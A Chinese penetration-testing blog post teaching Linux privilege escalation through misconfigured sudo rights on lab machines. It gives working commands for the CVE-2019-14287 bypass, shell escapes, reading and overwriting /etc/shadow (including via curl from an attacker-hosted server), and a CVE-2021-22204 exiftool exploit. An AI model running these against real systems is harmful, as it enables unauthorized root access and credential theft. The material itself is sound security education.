渗透测试:Linux提权精讲(一)之sudo方法第一期

news2024/11/15 13:59:01

目录

写在开头

CVE-2019-14287

sudo apt和sudo apt-get

sudo apache2

sudo ash

sudo awk

sudo base32/58/64/nc/z

sudo cp

sudo cpulimit

sudo curl

sudo date

sudo dd

sudo dstat 

sudo ed

sudo env

sudo exiftools

总结与思考

写在开头

 在进行渗透测试获取初始立足点的shell后,通常会运行sudo -l查看当前用户的权限,可通过系统已有可执行文件的权限实现提权。提权的本质就是低权限的用户因为某种特殊的配置/漏洞,可利用具有高权限的指令/工具/脚本等执行高权限的操作。有关Linux系统的提权方法有很多,包含passwd或shadow文件利用提权、自动任务提权、SUID提权、内核漏洞提权、第三方工具提权、sudo提权等等,本文将详解十几种sudo提权的方法。这些方法的总结与归类详见本文最后的总结与思考

本文将在红队笔记大佬讲解的基础上,对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

查看当前用户的权限:

sudo -l

如果出现类似如下没有tty的提示,可能是shell交互性差的缘故:

 可以通过python映射一个shell,增强交互性:

python -c "import pty;pty.spawn('/bin/bash')"

 此时再运行sudo -l应该就可以提升权限了,不过可能要输入当前用户的密码。

有一个开源项目GTFOBins介绍了常见的提权方法,本文提到的多数sudo提权方式多数也可以在该项目中搜索得到,详情见:GTFOBins

 可以在其中搜索相应的提权方式,比如搜索find命令:

 可以直接找到对应的提权操作,其他命令的搜索方式类似。

 下面进入正题,介绍基于具有sudo权限的可执行文件(命令)进行的提权操作。

CVE-2019-14287

漏洞利用前提

1.sudo版本要求:该漏洞针对1.8.28以下的sudo版本。查看sudo版本的指令是:

sudo -V |grep version

2.运行sudo -l后显示当前用户可以免密切换至其他任意非root用户,即:

(ALL, !root) NOPASSWD: /bin/bash

提权操作

sudo -u#-1 /bin/bash

提权原理

通常情况,切换其他用户的shell可以采用的命令如下(以下两行均可,假设切换到Bossfrank用户,该用户的id为1001,可以通过/etc/passwd文件查看)

sudo -u bossfrank /bin/bash
sudo -u#1001 /bin/bash

对于sudo版本低于1.8.28的情况,由于-1的用户id会被sudo解释为0,也就是root,从而造成提权。

sudo apt和sudo apt-get

漏洞利用前提 

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/apt

详情可见apt | GTFOBins

提权操作

针对sudo apt:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

针对 sudo apt-get

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

  其中的-o指定apt的选项,APT::Update::Pre-Invoke::=/bin/sh都是apt的一个预处理选项,冒号的作用是名字空间。该选项是逐级访问的预处理指令,最终是执行了启动bash会话。

sudo apache2

漏洞利用前提 

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/apache2

操作方式

sudo apache2 -f /etc/shadow

其中-f用于指定apache2的配置文件,我们指定存放了密码hash的文件/etc/shadow。执行时由于给定的配置文件有问题,肯定会出现报错,报错的时候会暴露/etc/shadow文件的第一行,从而给我们利用的可能。报错信息如下:

Syntax error on line 1 of /etc/shadow:

Invalid command 'root:$6$TB/euwMK$0XA............:::',perhaps mispelled or defined by a module not in cluded in the server configuration

 这样我们把其中关于root账号的密码hash$6$TB/euwMK$0XA............(此处这个hash只是示意)找个字典破解一下,有可能就能拿到密码。比如可以把密码hash命名为passwordhash,然后在kali中用john破解一下:

john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt

 如果能破解出来,那么就可以用这个密码作为凭据进行提权了,不过如果不是弱口令的话也很难破解出来。

sudo ash

漏洞利用前提 

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ash

 详情可见ash | GTFOBins

操作方式 

sudo ash
bash

直接运行sudo ash即可提权,本质上ash就是启动一个shell的命令。既然可以以高权限启动,相当于直接提权,再用命令bash开启一个会话提高shell的交互性。这里的关键在于认出ash就是一种shell环境。与之类似还有bash/csh/zsh/sh/tclsh/dash等,均为shell环境。

sudo awk

漏洞利用前提 

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/awk

  详情可见awk | GTFOBins

操作方式 

sudo awk 'BEGIN {system("/bin/sh")}'

 awk是常用的文本处理工具之一,上述命令中单引号中的内容是传递给awk工具的脚本,而BEGIN是awk工具的一个特殊模式,表示在处理任何输入前执行的动作,我们用大括号{}添加了指定awk执行的操作:系统命令——启动一个shell环境,从而实现提权。

sudo base32/58/64/nc/z

漏洞利用前提 

当前用户可以以sudo高级权限运行base32/58/64/nc/z指令。即运行sudo -l后会有如下的行(此处以base4为例):

(root) NOPASSWD: /usr/bin/base64

详情见base64 | GTFOBins 

操作方式

bossfrank=/etc/shadow
sudo base64 "$bossfrank" | base64 -d

 base64就是用来编码的,具有sudo权限后可以读取高权限用户才能读取的文件。我们可以利用base64工具的权限,对敏感其进行编码再解码,读取结果(也就是读取原始文件)。 利用这种方式我们就可读取原本的shadow文件,然后再对root用户的hash进行字典碰撞破解,如果破解成功,即可su提权。(base64/58/32/nc/z的利用方式相似)

sudo cp

漏洞利用前提

当前用户可以以sudo高级权限运行复制cp指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cp

详情见cp | GTFOBins

操作方式 

 本质思路就是利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权。

详情可见cp | GTFOBins,具体操作如下:

 首先我们可以用mkpasswd生成sha-512加密(/etc/shadow中密码的加密方式)的密文,我们企图把root账户的密码修改为123456,故此处命令为:

mkpasswd -m sha-512 123456

加密结果为:

$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.

 查看kali的/etc/shadow可以看到通常情况下shadow的形式

cat /etc/shadow | grep root 

 照着这个形式,我们可以构造一行如下的字符串,这行字符串之后会拷贝覆盖靶机中的/etc/shadow文件:

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 然后在靶机中进行如下的操作:

首先声明一个环境变量,用于指向/etc/shadow:

bossfrank=/etc/shadow

然后再生成一个名为TF的变量,指向用mktemp生成的临时文件:

TF=$(mktemp)

然后将刚刚我们生成的shadow记录(即root账户密码是123456)写入TF变量:

echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF

插叙一下,此时可以查看TF变量的内容,输出TF(echo $TF)可以看到:

/tmp/tmp.Rmzxhak

 再查看这个临时文件(cat /tmp/tmp.Rmzxhak),就是我们刚刚的那条shadow记录


最后是关键步骤,使用sudo的cp复制指令,将我们的这条shadow记录复制到/etc/shadow,实现覆盖操作:

sudo /usr/bin/cp $TF $bossfrank

 只要用密码123456即可提权。

 特别注意,这个操作对于靶机是有损的!会把原有的/etc/shadow覆盖掉,只保留了含有root的一条信息。因此这个提权操作的优先级并不高,同时操作前建议先对原有的/etc/shadow文件进行备份。使用临时变量$TF的操作是GTFOBins的推荐操作,虽然看起来复杂,但利用临时变量、临时文件的方法对于实际攻防中隐藏特征、自动清除痕迹很有意义。如果单纯想要提权的话可以不用这种方法。

sudo cpulimit

漏洞利用前提

当前用户可以以sudo高级权限运行cpulimit指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cpulimit

详情见cpulimit | GTFOBins

提权操作

sudo cpulimit -l 100 -f /bin/bash

 其中-l 100用于限制(指定)cpu的使用率,此处为100%,-f参数表示运行某个程序,该程序以-l参数指定的使用率占用CPU,此处执行的程序就是启动/bash,由于cpulimit具有sudo权限,故可以直接提权。

sudo curl

漏洞利用前提

当前用户可以以sudo高级权限运行curl指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/curl

详情见curl | GTFOBins

操作方式 

 该操作的本质思路与sudo cp小节的类似,都是通过覆盖系统的/etc/shadow文件修改root密码,达到提权的目的。前述生成shadow格式的操作见sudo cp小节,这里把对于123456进行sha-512加密的shadow形式的字符串存成了一个文件shadow_entry,这就是我们的payload:

 在kali中启动一个http服务,架设一个站点,用于存放这个恶意载荷payload:

php -S 0:80 

 然后在靶机中通过sudo curl访问kali上的payload,也就是这个shadow_entry,并把结果输出到/etc/shadow,从而覆盖了靶机原有的/etc/shadow文件,实现了对root账户的密码修改

sudo curl http://kali的ip/shadow_entry -o /etc/shadow

-o参数用于将结果输出到文件,接下来只要su提权,输入我们的密码即可。该方法同样由于覆盖了原有的/etc/shadow,对靶机的系统是有破坏的。

sudo date

漏洞利用前提 

当前用户可以以sudo高级权限运行日期date指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/date

操作方式

sudo date命令的提权操作与sudo apache2的操作相似

sudo date -f /etc/shadow

其中-f用于指定读取日期的路径。我们利用date的sudo权限从/etc/shadow中读取日期,/etc/shadow中不存在日期信息,会出现报错,但报错中会显示/etc/shadow的内容:

 然后执行hash碰撞即可。

sudo dd

 漏洞利用前提

当前用户可以以sudo高级权限运行dd指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dd

详情见dd | GTFOBins

操作方式

dd指令是一个命令行工具,可对原始指令进行复制、转化,可以用于转换编码、生成文件等。 

该提权方法与前述的sudo cp 和 sudo curl有类似之处,都是通过覆盖/etc/shadow文件的方法,覆盖后使用自己的设定的密码进行登录。首先还是先构造一个shadow形式的字符串,设定密码为123456(方法详见sudo cp):

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 运行如下指令即可实现对靶机/etc/shadow文件的覆盖:

echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow

of参数用于输出文件,这里设置为/etc/shadow,就会将我们构造的payload输出到/etc/shadow,实现对靶机中/etc/shadow的覆盖。 同样,这对于靶机也是有损的,建议先备份原有的/etc/shadow。

sudo dstat 

漏洞利用前提

当前用户可以以sudo高级权限运行dstat指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dstat

详情见dstat | GTFOBins

提权操作

 该操作的核心逻辑是dstat指令可以指定插件,我们可以在插件目录中写入我们用于提权的exp脚本,然后sudo运行dstat的时候同时指定这个插件脚本,即可实现提权。dstat的插件目录通常位于/usr/local/share/dstat或/usr/share/dstat,可以先通过find命令进行查找到底是哪个目录:

find / -name dstat -type f 2>/dev/null

 这里假定插件目录是/usr/share/dstat,我们在这个目录中写入我们的python提权脚本(插件)dstat_exp.py:

import os; os.execv("/bin/sh", ["sh"])

当然也可以直接echo到指定目录:

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py

然后sudo运行dstat的时候指定插件名exp即可提权:

sudo dstat --exp

注意此处我们插件的脚本名称是dstat_exp.py,但指定插件名称时输入的是exp。

sudo ed

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

详情见ed | GTFOBins

提权操作

直接sudo运行ed即可进入文本编辑界面,然后输入:

!/bin/bash

 即可直接提权。感叹号!表明执行系统命令。我们执行的系统命令是/bin/bash,即启动bash,又由于ed本身是以sudo执行的,从而启动了root的bash,实现了提权。

sudo env

 当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

详情见env | GTFOBins

提权操作

直接sudo运行env执行/bin/bash即可:

sudo env /bin/sh

env通常用于设定环境变量相关的参数,在此处也可以执行命令,直接以启动bash即可提权。

sudo exiftools

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/exiftool

且exiftool的版本在7.44-12.23范围内,可用exiftool -ver查看版本。

详情见exiftool | GTFOBins,这其实是有关exiftool的一个漏洞(CVE-2021-22204),详细漏洞源码可见ExifTool 12.23 - Arbitrary Code Execution - Linux local Exploit (exploit-db.com)

提权操作

这里给出红队笔记大佬的漏洞利用方式,按照上述漏洞源码中提示的逻辑操作即可:

首先构造payload,并在里面写入源数据,启动一个系统的shell:

echo  "(metadata \"\c${system('/bin/bash')};\")" > payload

或直接vi payload编辑:

(metadata "\c${system('/bin/bash')};")

然后使用bzz工具进行压缩:

bzz payload payload.bzz

按照利用文件,用djvumake工具生成利用文件exploit.djvu,djvu是一种图像文件压缩格式,主要用于扫描文档和电子书格式。

djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

提权命令:

sudo exiftool exploit.djvu

运行即可提权。

总结与思考

 本文介绍了15种常见的sudo提权方式,主要还是利用了系统配置的缺陷,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的15种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。

漏洞相关:CVE-2019-14287 , CVE-2021-22204(sudo exiftools)

直接读取敏感文件:sudo base32/58/64/nc/z

可执行系统命令:sudo apt/apt-get , sudo awk , sudo cpulimit , sudo dstat , sudo ed , sudo env

通过错误配置的报错信息读取敏感文件:sudo apache2 , sudo date

直接执行bash:sudo bash/ash/zsh/sh/dash/tclsh等

可覆盖系统敏感配置:sudo cp , sudo dd , sudo curl 

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我并没有全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/808197.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sql server表值函数

一、创建测试表 Employees 二、创建表值函数 -- DROP FUNCTION TableIntSplit;CREATE FUNCTION TableIntSplit(Text NVARCHAR(4000),Sign NVARCHAR(4000)) RETURNS tempTable TABLE(Id INT ) AS BEGIN DECLARE StartIndex INT DECLARE FindIndex INT DECLARE Content VARCHAR(…

浅谈 Spring AOP 思想

Spring AOP AOP 切面编程普通代理类JDK动态代理Cglib动态代理AOPAOP术语AOP切面编程的优势Advice通知类型(5种)通知的执行顺序 Order切入点表达式表达式execution注解annotation Spring事务管理Transactional 及 Transactional 的两个属性Transactional …

AR开发平台 | 探索AR技术在建筑设计中的创新应用与挑战

随着AR技术的不断发展和普及,越来越多的建筑师开始探索AR技术在建筑设计中的应用。AR(增强现实)技术可以通过将虚拟信息叠加到现实场景中,为设计师提供更加直观、真实的建筑可视化效果,同时也可以为用户带来更加沉浸式的体验。 AR开发平台广…

SpringBoot项目连接数据库

1、找到applications.yml,如下图 2、写入代码 server:port: 9494spring:datasource:driver-class-name: com.mysql.cj.jdbc.Driverurl: jdbc:mysql://localhost:3306/自己的数据库表名?serverTimezoneGMT%2b8username: rootpassword: root

短视频矩阵源码开发搭建分享--多账号授权管理

目录 文章目录 前言 一、矩阵号系统是什么? 二、使用步骤 1.创建推广项目 2.多账号授权 3.企业号智能客服系统 总结 前言 短视频多账号矩阵系统,通过多账号一键授权管理的方式,为运营人员打造功能强大及全面的“矩阵式“管理平台。…

修改整数(有点坑,所以发出来了)

问题描述 小贝给了小聪一个正整数 x,但是小聪决定把这个数改掉。她可以把整数 x 每个位置上的数 t 改成 9-t。 请你帮助小聪来计算一下,如何把 x 改成一个最小的正整数,注意,不能出现首位为 0 的情况。 输入格式 输入一个正整数…

Vue通过指令 命令将打包好的dist静态文件上传到腾讯云存储桶 (保存原有存储目录结构)

1、在项目根目录创建uploadToCOS.js文件 (建议起简单的名字 方便以后上传输入命令方便) 2、uploadToCOS.js文件代码编写 const path = require(path); const fs = require(fs); const COS = require(cos-nodejs-sdk-v5);// 配置腾讯云COS参数 const cos = new COS({SecretI…

NoSQL-Redis集群

NoSQL-Redis集群 一、集群:1.单点Redis带来的问题:2.解决:3.集群的介绍:4.集群的优势:5.集群的实现方式: 二、集群的模式:1.类型:2.主从复制: 三、搭建主从复制&#xff…

vscode 打开文件时如何在资源管理器中展开文件所在的整个目录树(包含node_modules)

如题。去 首选项 --> 设置 中 搜索 “Auto Reveal”,然后选true,注意把下面的Auto Reveal Exclude排除项中的node_modules去掉,这样才能定位到node_modules中的文件。 **/node_modules

【FPGA IP系列】FIFO的通俗理解

FPGA厂商提供了丰富的IP核,基础性IP核都是可以直接免费调用的,比如FIFO、RAM等等。 本文主要介绍FIFO的一些基础知识,帮助大家能够理解FIFO的基础概念。 一、FIFO介绍 FIFO全称是First In First Out,即先进先出。 FIFO是一个数…

函数重载与引用

文章目录 一、函数重载1. 重载规则2.重载列子3.函数名修饰规则 二、引用1.本质2.特性1. 引用必须在定义时初始化2 . 一个变量可以有多个引用3 . 引用一旦引用一个实体,就不能引用其他实体 3.引用例子4.引用的权限5.效率比较6.指针跟引用的区别 一、函数重载 函数重…

我的创作纪念日 --- 鲁迅文学无聊版

机缘 ------从第一次使用CSDN这个网站到现在已经快四年了,我大抵是病了,2021年7月29日才心血来潮写下来了第一篇自己的博客,回顾起来,已经过去了2年。如此这般,断断续续的写过一些博客,但终归是心血来潮罢了…

【Docker】Docker的优势、与虚拟机技术的区别、三个重要概念和架构及工作原理详细讲解

前言 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。 作者简介: 辭七七&#xf…

PS - Photoshop 实现涂抹功能 (橡皮擦、图章、吸管、画笔)

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/131997323 在 Photoshop 中,橡皮擦工具,以及吸管工具和画笔工具可以配合使用,实现涂抹功能,再通过…

第四届世界蜂疗大会在中国·重庆武隆盛大开幕

【39蜂疗网】记者 讯 7月25日至27日,“世界中联蜂疗专业委员会第五届学术年会暨第四届世界蜂疗大会、中国民族医药学会蜂疗分会2023年学术年会”在重庆武隆正式启幕。开幕式上,重庆市政府副市长但彦铮宣布开幕;人民英雄、中国工程院院士张伯礼…

QPainter绘制雷达界面

文章目录 功能实现定义的结构体定义的函数效果图gitee源码链接 功能实现 相较于上一版,这一版添加的功能有: 1、自适应窗口 2、扫描方式(圆周扫描、扇形扫描(指定起始角度和结束角度)) 3、扫描方向&#x…

WITH AS 的 sql语法是啥意思

WITH t1 AS ( select * from my_table_1 where age >30 ), t2 AS ( select * from my_table_2 where sex M ) select * from t1 inner join t2 on t1.id t2.t_id;WITH AS 的 sql语法是啥意思? WITH和AS是SQL语句中的关键字,用于创建临时命名的查询…

hcip——路由策略

要求: 基础配置 AR1 [R1]int g 0/0/0 [R1-GigabitEthernet0/0/0]ip add 12.0.0.1 24[R1-GigabitEthernet0/0/0]int g 0/0/1 [R1-GigabitEthernet0/0/1]ip add 14.0.0.1 24[R1]int loop0 [R1-LoopBack0]ip add 1.1.1.1 24[R1]rip 1 [R1-rip-1]vers 2 [R1-rip-1]net…

RS485/RS232自由转ETHERNET/IP网关profinet和ethernet区别

你是否曾经遇到过这样的问题:如何将ETHERNET/IP网络和RS485/RS232总线连接起来呢?捷米的JM-EIP-RS485/232通讯网关,自主研发的ETHERNET/IP从站功能,完美解决了这个难题。这款网关不仅可以将ETHERNET/IP网络和RS485/RS232总线连接起…

mysql(六)读写分离

目录 前言 一、概述 二、配置JAVA环境及安装阿米巴 三、配置阿米巴 四、测试 总结 前言 MySQL读写分离是一种常见的数据库架构设计模式,旨在提高系统的性能和可用性。它通过将读操作和写操作分离到不同的MySQL实例上来实现。 读写分离的原理是: 1. 主…